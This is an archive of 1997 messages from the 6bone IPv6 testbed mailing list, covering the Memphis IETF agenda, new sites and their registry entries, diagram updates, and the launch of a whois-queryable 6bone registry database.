1415-1515  Afternoon Sessions II  (1 hour)

        APP   ircup     IRC Update BOF
        APP   schema    Schema Registration BOF
        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
        INT   ipcdn     IP Over Cable Data Network WG
>>>>>   OPS   6bone     IPv6 Backbone BOF
        OPS   ptopomib  Physical Topology MIB WG
        RTG   ospf      Open Shortest Path First IGP WG
        TSV   issll     Integrated Services over Specific Link Layers WG


THURSDAY, April 10, 1997

1300-1500  Afternoon Sessions I  (2 hours)

        APP   fax       Internet Fax WG
        APP   lsma      Large Scale Multicast Applications WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
        RTG   mpls      Multiprotocol Label Switching WG
        SEC   ipsec     IP Security Protocol WG
        TSV   nfsv4     Network File System Version 4 BOF

FRIDAY, April 11, 1997

0830-0900  Continental Breakfast
0900-1130  Morning Sessions  (2 1/2 hours)

        APP   drums     Detailed Revision/Update of Message Standards WG
        INT   frnetmib  Frame Relay Service MIB WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG

================================================================================



From majordom@ISI.EDU  Thu Mar 27 08:10:16 1997
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Subject: Re: 6bone Agenda (v2) for Memphis
To: RLFink@lbl.gov (Bob Fink LBNL)
Date: Thu, 27 Mar 1997 16:10:16 -0800 (PST)
Cc: dhaskin@baynetworks.com, 6bone@isi.edu
In-Reply-To: <v03007825af6076422830@[128.3.9.22]> from "Bob Fink LBNL" at Mar 27, 97 01:13:43 pm
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> might as well start the dialog on it in Memphis (unless some brave souls
> wish to venture out on the list before then :-).
> 
    Humm,
	Well, there do seem to be the existing practive/experimental
	allocation methods (these may never go away).

	The registries have some guidance on hwo to parcel up IPv6
	blocks based on the existant addressing guidelines.

	Then there is the MO 6+2+8 proposal for address "meaning"
	which might not be quite in line with the other "lead dog"
	in delegation practice.


	I suspect that what Dimetry has proposed is a varient of
	the secodn point.


-- 
--bill

From majordom@ISI.EDU  Thu Mar 27 19:28:50 1997
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To: Dimitry Haskin <dhaskin@baynetworks.com>
Cc: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: 6bone Agenda (v2) for Memphis 
In-Reply-To: Your message of "Thu, 27 Mar 97 14:02:07 EST."
             <3.0.32.19970327140206.0069dbf4@pobox.engeast.baynetworks.com> 
Date: Fri, 28 Mar 97 00:28:50 -0500
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I really really really really really really think Dimitry's idea is
wonderful.

/jim

From majordom@ISI.EDU  Thu Mar 27 22:48:42 1997
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Date: Fri, 28 Mar 1997 06:48:42 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone drawing - version 61
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new 6bone drawing - version 61

	move IXA/US to NWNET/US and make it transit
	add LAB/US to IXA/US

	move UICAM-T/UK to UUNET/UK


Anyone know if JANET/UK and NC3A/NL are going into the 6bone registry?


Thanks,

Bob



From majordom@ISI.EDU  Thu Mar 27 22:59:38 1997
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Date: Fri, 28 Mar 1997 06:59:38 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: another new site for 6bone drawing version 61
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Forgot to mention adding STUBA/SK to UUNET/UK in version 61 of the diagram.

Welcome to STUBA (Slovak University of Technology, FEI, Department of
Computer Science and Engineering)

location:       Bratislava, Slovak Republic


Neat!

Bob



From majordom@ISI.EDU  Fri Mar 28 03:20:47 1997
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Subject: Re: 6bone Agenda (v2) for Memphis
To: bound@zk3.dec.com
Date: Fri, 28 Mar 1997 11:20:47 -0800 (PST)
Cc: dhaskin@baynetworks.com, RLFink@lbl.gov, 6bone@ISI.EDU
In-Reply-To: <9703280528.AA16819@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Mar 28, 97 00:28:50 am
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> 
> I really really really really really really think Dimitry's idea is
> wonderful.
> 
> /jim


And you really really really really really really really think that 
creation of YAR is a good thing?  Why not "encourage" ARIN to get off
the pot and start delegation per their draft guidelines?

--bill

From majordom@ISI.EDU  Mon Apr  3 01:22:28 1997
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From: Keith Owens <kaos@ocs.com.au>
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site:           O. C. Software P/L
location:       Greensborough, Victoria, Australia
prefix:         5F04:C500:CB22:6100/64
ping:           5F04:C500:CB22:6100::6 router-6.ocs.com.au
tunnel:		203.34.97.6 131.103.1.54     CICNET - static - operational
contact:        Keith Owens <kaos@ocs.com.au>
status:         operational since March 20, 1997
remark:         Linux 2.1.29, test machine, not always booted.
remark:         CICNET tunnel is temporary, will convert to Australian 6bone
remark:		transit node when it becomes available.
remark:         Forward DNS in place, waiting for delegation of ip6.int from
remark:		Australian backbone.
changed:        kaos@ocs.com.au 970330
source:         RIPE



From majordom@ISI.EDU  Mon Apr  3 04:52:00 1997
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To: 6bone@isi.edu
Subject: New site - ASCI
Date: Mon, 31 Mar 1997 09:52:00 -0500
From: Andrew L Hazeltine <andy@thomas.ge.com>
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Hi,

Advanced Systems Consulting, Inc. (ASCI) is now connected to the
6bone.  Our tunnel became fully operational on March 7 when I
finally got RIPng working.

Our updated RIPE entry is:

site:		Advanced Systems Consulting, Inc.
location:	Marlton, NJ, USA
loc-string:	39 55 00n 74 56 15w
prefix:		5f01:600:c631:da00::/64
ping:		5f01:600:c631:da00:4701:20:af0a:ed6a penne.ipv6.advsys.com
tunnel:		198.49.218.71 192.31.7.104	CISCO RIPng
contact:	Andrew Hazeltine <andy@advsys.com>
status:		operational since December 1996
remark:		End systems: x86/Linux, Sparc/Solaris
changed:	andy@advsys.com 970328
source:		RIPE


- Andy

From majordom@ISI.EDU  Mon Apr  3 00:12:46 1997
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new 6bone b/b links diagram - version 9

	G6/FR link to SICS/SE now RIPng


Thanks,

Bob



From majordom@ISI.EDU  Mon Apr  3 00:08:39 1997
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new 6bone diagram - version 62

	change G6 Universities to G6 French IPv6 Group
	  (it is broader than just French Univ.)

	add OCS/AU as a leaf off CICNET/US


Thanks,

Bob



From majordom@ISI.EDU  Mon Apr  3 02:40:23 1997
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Date: Mon, 31 Mar 1997 10:40:23 -0800
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Agenda (v4) for Memphis
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6bone Agenda (v4) for Memphis below.  Please email me changes, deletions,
and additions.


Thanks,

Bob


6bone Agenda (v3) for Memphis
____________________________

1. Topology, addressing and routing issues

	CAIRN backbone -  Mankin

	routing in the backbone - status from IDR WG

	a 6bone IPv6 address block and registry - Haskin

	addressing beyond RFC 1987 - Fink

	Prefix aggregation problems - Durand


2. 6bone routing registry issues

	David Meyer's Internet-Draft on extensions for  <<< order changed
	"Representing Tunnels in RPSL" - Meyer

	RIPE-NCC based - David Kessens                  <<< order changed

	DNS based - Bill Manning                        <<< order changed


3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure


===============================================================================
Reposted for your information
===============================================================================

The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
(9 April) one hour time slot.  I had decided on a one hour time slot as
meeting slots are hard to come by and we should not go any longer than
practical with a large group (if San Jose was any example).  If this
meeting proves we need, and can use, a longer time slot, we can get one in
Munich.

I've shown all the IPng sessions below for your convenience.  Note that the
times have been carefully chosen to keep you in Memphis all week, whether
you can find a hotel or not :-)

However, the real reason that the IPng meetings are so late in the week is
that Steve Deering will be in Japan until Wed. afternoon.


The 6bone has been included under the NGTrans WG with me as a co-chair,
along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
current OPS area directors) said that we should, for now, operate as a
separate part of NGTrans, much in the same way that IPPM operates under
BMWG.

I have no problem with this and agree it is sensible that the 6bone be
considered part of the IPv6 transition effort.
================================================================================

MONDAY, April 7, 1997

1930-2200  Evening Sessions  (2 1/2 hours)

        APP   http      HyperText Transfer Protocol WG
        INT   frnetmib  Frame Relay Service MIB WG
        INT   svrloc    Service Location Protocol WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   mboned    MBONED Deployment WG
>>>>>   OPS   ngtrans   New Generation Transition WG
        SEC   secsh     Secure Shell Protocol WG
        USV   isnII     Internet School Networking-Educators BOF


WEDNESDAY, April 9, 1997

1415-1515  Afternoon Sessions II  (1 hour)

        APP   ircup     IRC Update BOF
        APP   schema    Schema Registration BOF
        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
        INT   ipcdn     IP Over Cable Data Network WG
>>>>>   OPS   6bone     IPv6 Backbone BOF
        OPS   ptopomib  Physical Topology MIB WG
        RTG   ospf      Open Shortest Path First IGP WG
        TSV   issll     Integrated Services over Specific Link Layers WG


THURSDAY, April 10, 1997

1300-1500  Afternoon Sessions I  (2 hours)

        APP   fax       Internet Fax WG
        APP   lsma      Large Scale Multicast Applications WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
        RTG   mpls      Multiprotocol Label Switching WG
        SEC   ipsec     IP Security Protocol WG
        TSV   nfsv4     Network File System Version 4 BOF

FRIDAY, April 11, 1997

0830-0900  Continental Breakfast
0900-1130  Morning Sessions  (2 1/2 hours)

        APP   drums     Detailed Revision/Update of Message Standards WG
        INT   frnetmib  Frame Relay Service MIB WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG

================================================================================



From majordom@ISI.EDU  Mon Apr  3 13:31:39 1997
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From: davidk@isi.edu
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	id <AA15454>; Mon, 31 Mar 97 21:31:40 PST
Subject: Full 6BONE database now available in RIPE style database
To: 6bone@isi.edu
Date: Mon, 31 Mar 1997 21:31:39 -0800 (PST)
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Hi,

This is to inform you that I have installed a RIPE style database for the
6BONE registry. I have also converted *all* RIPE ftp registry data (from
this morning) to the new format as described by the draft that I posted
recently. This will make it possible to use this registry as the main
6BONE repository from now on, if desired so.

Note that there are some incompatibilities between the old and new format
which will only show up when updating the data in the registry. Just
check the draft if you find a problem when you try to update the data.
You might also see some funny entries that couldn't be fixed by my
conversion scripts. Just fix them manually. I would have liked to have
done a better job in that regard but I am simply lacking the time to
convert 125 objects manually...

There are some changes with the draft:

- I use the value '6BONE' in the source: attribute

- I have required the addition of the origin: AS (please let me know 
  if this is a bad idea). I thought that this gives nice possibilities for
  lookups and some better idea how people derived their Ipv6 address space.

Biggest change from the ftp directory approach:

- contact information is stored in different objects (role or person
  objects). You will be required to use a NIC handle (RIPE, InterNIC or
  from another registry) in the contact: field. You can create your own
  person/role object with 6BONE NIC handle if you don't have a NIC handle
  of one of the registries yet. I already tried to create some
  person/role objects automatically. Just do a search for your object and
  you will find if this is the case for you.

- domain names are used instead of IP numbers. This makes it very easy to
  find out about the IPv6 and/or IPv4 number which is needed for some of
  the apllications that people are using on the 6BONE. Note that some of
  the old objects still contain IP numbers. They will not be accepted
  anymore when updating the data. It might be nice if somebody knows
  about a tool like 'host' that could support both an IPv4 & IPv6 lookup
  at the same time.

- syntax checking will make the quality of the data better and will allow
  people to write tools to handle the data (for example 6BONE maps ;-)).
  Please inform me of any bugs in the syntax checking code since it is
  very new. You can always use the remarks: attribute if you need to
  document features that are not available in the current format.

Known problems/missing features:  

- The server can not resolve non-6BONE NIC handles yet. I plan to do
  something about this, time allowing. Just use a second query to the
  appropriate registry to find the data:
  
  no suffix/-ORG  whois.internic.net
  -RIPE           whois.ripe.net
  -APNIC          whois.apnic.net

- No 24/7 helpdesk is available. The database doesn't have a dedicated
  machine right now.
  
- I plan to make the full dump of the database available on a daily basis
  as soon as possible. I will put a copyright message with my name, USC &
  ISI in the data set to protect against abuse (spamming). Please let me
  know if you know a better organization for the copyright if such thing
  exists ...

- No nice web site with helpfull documents

- No web forms based interface (I might be doing this if I can find some
  time)


How to query the database:

use:

$ whois -h brind.isi.edu SearchKey

(or as an alternative: 'telnet brind.isi.edu whois'
 and type the SearchKey when you are connected)
 
$ whois -h brind.isi.edu HELP

will send you the help/howto file on howto find and update objects.

Please check out the document for howto create, update or delete your
objects in a RIPE style database. It is not difficult but it helps a lot
if you have read the document (particurlarly the NIC handle section if
you need to create a person/role object). Note that the actual formats
are described in the internet draft. Send your updates by E-mail to:

auto-dbm@ISI.EDU

Your update will be done and you will usually receive an acknowledgement
message in just a few seconds.

The following whois tools are available for those of you who don't have a
version of whois OR want to use the full capabilities of the RIPE whois
server.

ftp://ftp.ripe.net/tools/ripe-whois*.tar.gz

 
Some interesting examples:

The objects have the same name as the RIPE filename. Just do a search for
your object by doing for example:

$ whois -h brind.isi.edu CSELT

$ whois -h brind.isi.edu 5F16:4D00::/32

Search first level more specifics (be carefull to specify a correct IPv6
prefix/address or the server will only do a 'string' based search):

$ whois -h brind.isi.edu -M  5F16:4D00::/32

Search all more specifics:

$ whois -h brind.isi.edu -M  5F16:4D00::/32
 
Search all less specifics:

$ whois -h brind.isi.edu -L  5F16:4D00::/33

Find all objects with origin AS=Your(Providers)AS 
(note: there are curently no objects with this attribute specified 
       since it is a new feature. Just add the attribute to your ipv6
       object and try this feature)

$ whois -h brind.isi.edu -i origin Your(Providers)AS


Don't hesitate to experiment a bit by adding an object or doing some
query trials but please remove any experimental objects after use.

Don't hesitate to contact me if you have any questions. I might react a
bit delayed though, since I am very busy with some other IETF related work ...

I hope this helps,

David K.
---

From majordom@ISI.EDU  Tue Apr  1 23:32:01 1997
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Date: Tue, 1 Apr 1997 17:32:01 +0600 (ESD)
From: Andrew Romanenko <andrew@cca.usart.ru>
Reply-To: Andrew Romanenko <andrew@cca.usart.ru>
To: 6bone@isi.edu
Subject: New site
Message-Id: <Pine.LNX.3.95.970401172417.5791C-100000@linux.cca.usart.ru>
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The Ural State Academy of railway transport has become a new 6bone site
in Russia. It has a tunnel to UUNET-UK (Thanks to Guy Davies). The
following is our ip6rr object.

site:		USART
location:	Yekaterinburg, RU
prefix: 	5F15:5C00:C2E2:E600:00E6/80
ping:		5F15:5C00:C2E2:E600:00E6:0000:0100:5386 linux.ipv6.cca.usart.ru 
tunnel:		194.226.230.161 158.43.133.254 UUNET/UK static operational
contact:        Andrew Romanenko <andrew@cca.usart.ru>
status:		operational
changed:	andrew@cca.usart.ru 970401
source:		RIPE

Andrew Romanenko,
USART Network administrator


From majordom@ISI.EDU  Tue Apr  1 17:35:05 1997
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Date: Tue, 1 Apr 1997 16:35:05 +0100
From: goode@nc3a.nato.int (Rob Goode)
Message-Id: <199704011535.QAA05970@comsun21.nc3a.nato.int>
To: 6bone@isi.edu
Subject: New site: NC3A-NL
Cc: ipv6@nc3a.nato.int
X-Sun-Charset: US-ASCII
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Dear 6bones,

NATO C3 Agency in the Netherlands (NC3A-NL) is now connected
to the 6bone. We have been connected via a static route
to UUNET/UK since March 20th.

Our RIP entry is:

ipv6-site:   NC3A-NL
origin:      NLnet (ASN 1890)
location:    52 06 39n 04 19 29w 12m
descr:       NATO C3 Agency, The Hague, The Netherlands
country:     NL
prefix:      5F07:6200:C096:5E00::/64
application: ping 5F07:6200:C096:5E00:5E:800:207C:691 comsun9.nc3a.nato.int
application: ping 5F07:6200:C096:5E00:5E:A0:2487:451F rgpc1-nu.nc3a.nato.int
application: ping 5F07:6200:C096:5E00:5E:800:201c:6c97 comsun21.nc3a.nato.int
tunnel:      IPv6 in IPv4 -> NC3A-NL STATIC 6bone-gw.london.pipex.net
contact:     IO7-6BONE
remarks:     DNS currently not operational for forward or reverse #:-(
remarks:     Currently STATIC routing #:-(
remarks:     ipv6-site is operational since 20-Mar-97
remark:      Solaris 2.5.1 IPv6 & x86/Linux 2.1.29
remark:      please report any problems to contact above.
changed:     Rob Goode <goode@nc3a.nato.int> 970401
source:      6BONE

Cheers,

Rob Goode	goode@nc3a.nato.int

From majordom@ISI.EDU  Tue Apr  1 03:00:21 1997
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Date: Tue, 1 Apr 1997 11:00:21 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram - version 63
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

new 6bone diagram - version 63

	add ASCI/US to CISCO/US

	add USART/RU to UUNET/UK

	add NC3A/NL to UUNET/UK


NC3L/NL is the NATO C3 Agency, The Hague, The Netherlands

USART/RU is the Ural State Academy of railway transport in Russia

ASCI/US is Advanced Systems Consulting, Inc., Marlton, NJ, USA


Welcome to Russia and NATO - lots of opportunities here :-)

Sounds like a new Tom Clancy novel in the making!



Thanks,

Bob





From majordom@ISI.EDU  Thu Apr  3 16:22:18 1997
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  (5.67a8/IDA-1.5 for 6bone@isi.edu); Thu, 3 Apr 1997 14:22:19 +0200
From: MARAY Tamas <maray@fsz.bme.hu>
Message-Id: <199704031222.AA13686@bagira.fsz.bme.hu>
Subject: Budapest, Hungary
To: 6bone@isi.edu
Date: Thu, 3 Apr 1997 14:22:18 +0200 (MET DST)
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Hi all,

We have set up an experimental IPv6 site at the Technical University
of Budapest. Since we would like to join to the 6bone, we are now
searching a partner to cooperate with in setting up our first 
international IPv6 tunel. Probably the best partner would be the 
SURFnet IPv6 router, because of the direct and fast Budapest-Amsterdam 
link.
If people from SURFnet read the message would they please reply?
I have got some SURFnet e-mail addresses but I am not sure if they
are correct because I have not received any reply for my messages
I sent there. Does somebody know whom I should look for? 

We are also thinking about setting up a tunel with a US site.
Following the network topology, we could use the Budapest-Pompano 
Beach (MCI) link.
Any suggestion?

Cheers,

Tamas
<maray@fsz.bme.hu>


From majordom@ISI.EDU  Wed Apr  2 22:56:23 1997
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Date: Thu, 3 Apr 1997 06:56:23 -0800
To: MARAY Tamas <maray@fsz.bme.hu>, 6bone@isi.edu
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Budapest, Hungary
Sender: owner-6bone@ISI.EDU
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Status: RO

At 4:22 AM -0800 4/3/97, MARAY Tamas wrote:
>Hi all,
>
>We have set up an experimental IPv6 site at the Technical University
>of Budapest. Since we would like to join to the 6bone, we are now
>searching a partner to cooperate with in setting up our first
>international IPv6 tunel. Probably the best partner would be the
>SURFnet IPv6 router, because of the direct and fast Budapest-Amsterdam
>link.
>If people from SURFnet read the message would they please reply?
>I have got some SURFnet e-mail addresses but I am not sure if they
>are correct because I have not received any reply for my messages
>I sent there. Does somebody know whom I should look for?
>
>We are also thinking about setting up a tunel with a US site.
>Following the network topology, we could use the Budapest-Pompano
>Beach (MCI) link.
>Any suggestion?

If you use this link, maybe CICNET is a good choice...just gussing.


Bob



From majordom@ISI.EDU  Thu Apr  3 00:38:05 1997
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From: bmanning@ISI.EDU
Posted-Date: Thu, 3 Apr 1997 08:38:05 -0800 (PST)
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Subject: f.5.ip6.int delegations
To: seidmann@shalom.shalom.org, andy@advsys.com, andy@thomas.ge.com,
        alexis@nl.net, Luca.dellAgnello@cnaf.infn.it
Date: Thu, 3 Apr 1997 08:38:05 -0800 (PST)
Cc: bmanning@isi.edu, 6bone@ISI.EDU
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;; QUESTIONS: 
;;      0.0.f.2.a.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.f.2.a.0.f.5.ip6.int.        129600  NS      ns.isi.edu.
0.0.f.2.a.0.f.5.ip6.int.        129600  NS      sun1.dcs.elf.stuba.sk.

...

;; QUESTIONS: 
;;      0.0.6.0.1.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.6.0.1.0.f.5.ip6.int.        129600  NS      ns.ge.com.
0.0.6.0.1.0.f.5.ip6.int.        129600  NS      gabriel.advsys.com.

...

;; QUESTIONS: 
;;      0.0.2.6.7.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.2.6.7.0.f.5.ip6.int.        129600  NS      freeman.NL.net.
0.0.2.6.7.0.f.5.ip6.int.        129600  NS      ns.NL.net.

...

;; QUESTIONS: 
;;      0.0.4.1.5.1.f.5.IP6.INT, type = NS, class = IN

;; ANSWERS:
0.0.4.1.5.1.f.5.IP6.INT.        129600  NS      ns.isi.edu.
0.0.4.1.5.1.f.5.IP6.INT.        129600  NS      gandalf.cnaf.infn.it.


-- 
--bill

From majordom@ISI.EDU  Thu Apr  3 02:04:04 1997
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Date: Thu, 3 Apr 1997 10:04:04 -0800
To: 6bone@isi.edu
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Full 6BONE database now available in RIPE style database
Cc: davidk@isi.edu
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I'm enthused that David has installed a RIPE style database for the
6BONE registry...but it raises a few operational issues that we should work
out before we cause ourselves some problems.

1. we need to agree that we are officially switching to it and a time to
turn OFF the RIPE ftp-based database.  This is necessary to avoid duplicate
entries as the next RIPE-style preload won't be easy if we have to sort out
which is the correct entry to carry over.

2. we need to decide where it will reside (ISI is ok by me, but I haven't
heard from the RIPE folk on their intent yet).

3. we need some web documentation (I've agreed to do this for David).

4. we need a web-based mechanism to query the database with so we don't
have to just rely on whois commands.  This is necessary for two
reasons...one is to make it easier for users to simply use a 6bone web page
to query site data, and the other is to allow hot buttons to work on my
diagrams.

5. other issues I'm too uninformed about to mention??


I contend we should discuss this on the mailer a bit, and at the meetings
next week, to see where we are before anyone starts putting their data in
this new database.


Comments to the mailer please!


Thanks,

Bob

================================================
At 9:31 PM -0800 3/31/97, davidk@isi.edu wrote:
>Hi,
>
>This is to inform you that I have installed a RIPE style database for the
>6BONE registry. I have also converted *all* RIPE ftp registry data (from
>this morning) to the new format as described by the draft that I posted
>recently. This will make it possible to use this registry as the main
>6BONE repository from now on, if desired so.
>
>Note that there are some incompatibilities between the old and new format
>which will only show up when updating the data in the registry. Just
>check the draft if you find a problem when you try to update the data.
>You might also see some funny entries that couldn't be fixed by my
>conversion scripts. Just fix them manually. I would have liked to have
>done a better job in that regard but I am simply lacking the time to
>convert 125 objects manually...
>
>There are some changes with the draft:
>
>- I use the value '6BONE' in the source: attribute
>
>- I have required the addition of the origin: AS (please let me know
>  if this is a bad idea). I thought that this gives nice possibilities for
>  lookups and some better idea how people derived their Ipv6 address space.
>
>Biggest change from the ftp directory approach:
>
>- contact information is stored in different objects (role or person
>  objects). You will be required to use a NIC handle (RIPE, InterNIC or
>  from another registry) in the contact: field. You can create your own
>  person/role object with 6BONE NIC handle if you don't have a NIC handle
>  of one of the registries yet. I already tried to create some
>  person/role objects automatically. Just do a search for your object and
>  you will find if this is the case for you.
>
>- domain names are used instead of IP numbers. This makes it very easy to
>  find out about the IPv6 and/or IPv4 number which is needed for some of
>  the apllications that people are using on the 6BONE. Note that some of
>  the old objects still contain IP numbers. They will not be accepted
>  anymore when updating the data. It might be nice if somebody knows
>  about a tool like 'host' that could support both an IPv4 & IPv6 lookup
>  at the same time.
>
>- syntax checking will make the quality of the data better and will allow
>  people to write tools to handle the data (for example 6BONE maps ;-)).
>  Please inform me of any bugs in the syntax checking code since it is
>  very new. You can always use the remarks: attribute if you need to
>  document features that are not available in the current format.
>
>Known problems/missing features:
>
>- The server can not resolve non-6BONE NIC handles yet. I plan to do
>  something about this, time allowing. Just use a second query to the
>  appropriate registry to find the data:
>
>  no suffix/-ORG  whois.internic.net
>  -RIPE           whois.ripe.net
>  -APNIC          whois.apnic.net
>
>- No 24/7 helpdesk is available. The database doesn't have a dedicated
>  machine right now.
>
>- I plan to make the full dump of the database available on a daily basis
>  as soon as possible. I will put a copyright message with my name, USC &
>  ISI in the data set to protect against abuse (spamming). Please let me
>  know if you know a better organization for the copyright if such thing
>  exists ...
>
>- No nice web site with helpfull documents
>
>- No web forms based interface (I might be doing this if I can find some
>  time)
>
>
>How to query the database:
>
>use:
>
>$ whois -h brind.isi.edu SearchKey
>
>(or as an alternative: 'telnet brind.isi.edu whois'
> and type the SearchKey when you are connected)
>
>$ whois -h brind.isi.edu HELP
>
>will send you the help/howto file on howto find and update objects.
>
>Please check out the document for howto create, update or delete your
>objects in a RIPE style database. It is not difficult but it helps a lot
>if you have read the document (particurlarly the NIC handle section if
>you need to create a person/role object). Note that the actual formats
>are described in the internet draft. Send your updates by E-mail to:
>
>auto-dbm@ISI.EDU
>
>Your update will be done and you will usually receive an acknowledgement
>message in just a few seconds.
>
>The following whois tools are available for those of you who don't have a
>version of whois OR want to use the full capabilities of the RIPE whois
>server.
>
>ftp://ftp.ripe.net/tools/ripe-whois*.tar.gz
>
>
>Some interesting examples:
>
>The objects have the same name as the RIPE filename. Just do a search for
>your object by doing for example:
>
>$ whois -h brind.isi.edu CSELT
>
>$ whois -h brind.isi.edu 5F16:4D00::/32
>
>Search first level more specifics (be carefull to specify a correct IPv6
>prefix/address or the server will only do a 'string' based search):
>
>$ whois -h brind.isi.edu -M  5F16:4D00::/32
>
>Search all more specifics:
>
>$ whois -h brind.isi.edu -M  5F16:4D00::/32
>
>Search all less specifics:
>
>$ whois -h brind.isi.edu -L  5F16:4D00::/33
>
>Find all objects with origin AS=Your(Providers)AS
>(note: there are curently no objects with this attribute specified
>       since it is a new feature. Just add the attribute to your ipv6
>       object and try this feature)
>
>$ whois -h brind.isi.edu -i origin Your(Providers)AS
>
>
>Don't hesitate to experiment a bit by adding an object or doing some
>query trials but please remove any experimental objects after use.
>
>Don't hesitate to contact me if you have any questions. I might react a
>bit delayed though, since I am very busy with some other IETF related work ...
>
>I hope this helps,
>
>David K.
>---




From majordom@ISI.EDU  Thu Apr  3 08:19:31 1997
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Date: Thu, 3 Apr 1997 13:19:31 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: MARAY Tamas <maray@fsz.bme.hu>, 6bone@ISI.EDU
Subject: Re: Budapest, Hungary
In-Reply-To: <v03007804af69754693fd@[128.3.9.22]>
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On Thu, 3 Apr 1997, Bob Fink LBNL wrote:

> If you use this link, maybe CICNET is a good choice...just gussing.

We responded off list.

-dorian


From majordom@ISI.EDU  Thu Apr  3 21:36:08 1997
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Date: Thu, 3 Apr 1997 20:36:08 +0100 (BST)
From: Guy Davies <guyd@uunet.pipex.com>
To: 6bone List <6bone@isi.edu>
Cc: IPv6 Operations <ipv6@uunet.pipex.com>
Subject: More tunnels to UUNET-UK
Message-Id: <Pine.GSO.3.95q.970403203213.1437E-100000@swannee.uunet.pipex.com>
X-Organisation: UUNET (Cambridge)
X-Address: 332 Science Park. Milton Road. Cambridge. CB4 4BZ
X-Phone: +44 (0)1223 250100
X-Ncc-Regid: uk.pipex
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Hi All,

Today, UUNET-UK has, with help from Dorian Kim, David Meyer and Alexis
Yushin setup tunnels to CICNET/US, UO/US and NLNET/NL.

Our current ISI 6bone RR object is....

ipv6-site:   UUNET-UK
origin:      AS1849
descr:       London, UK & Cambridge, UK
country:     GB
prefix:      5F07:3900::/32
application: ping 6bone-gw.lon.ip6.pipex.net
application: ping eth0.6bone-gw.lon.ip6.pipex.net
application: ping 6bone-gw.cam.ip6.pipex.net
application: ping eth0.6bone-gw.cam.ip6.pipex.net
application: ping swannee.ip6.pipex.net
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> eng-ios-dirtylab-gw.cisco.com CISCO RIPng
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> quincy-adams.corpeast.baynetworks.com BAY RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> nwnet-6bone-gw.nwnet.net NWNET RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> tdegwipv6.tbit.dk TELEBIT RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> router.ifb.net IFB RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> unvea.denet.dk UNI-C RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> sauce.sics.se SICS RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> pax-6bone.pa-x.dec.com DIGITAL-CA RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> sandbox.ep.net ISI-LAP RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> zesbot.ipv6.surfnet.nl SURFNET RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> esnet-v6r1.es.net ESNET RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> 6bone.chicago.cic.net CICNET RIPng
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> 6bone-gw.uoregon.edu UO RIPng
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> 6bone-core.ipv6.imag.fr G6 RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> newbie.hq.kit.kz KIT STATIC
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> scorpio.ecs.soton.ac.uk USOT-ECS RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> gate6.lancs.ac.uk ULANC RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> jpd.ch.man.ac.uk UMAN RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> phoenix.ja.net JANET RIPv6
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> twizzle.trin.cam.ac.uk UCAM-T STATIC
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> comsun9.nc3a.nato.int NC3A-NL STATIC
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> sc02.dcs.elf.stuba.sk STUBA STATIC
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> linux.cca.usart.ru USART STATIC
tunnel:      IPv6 in IPv4 6bone-gw.london.pipex.net -> freeman.nl.net NLNET STATIC
contact:     IO6-6BONE
remarks:     DNS operational for forward (ip6.pipex.net) and reverse
remarks:     (0.0.9.3.7.0.f.5.ip6.int) zones
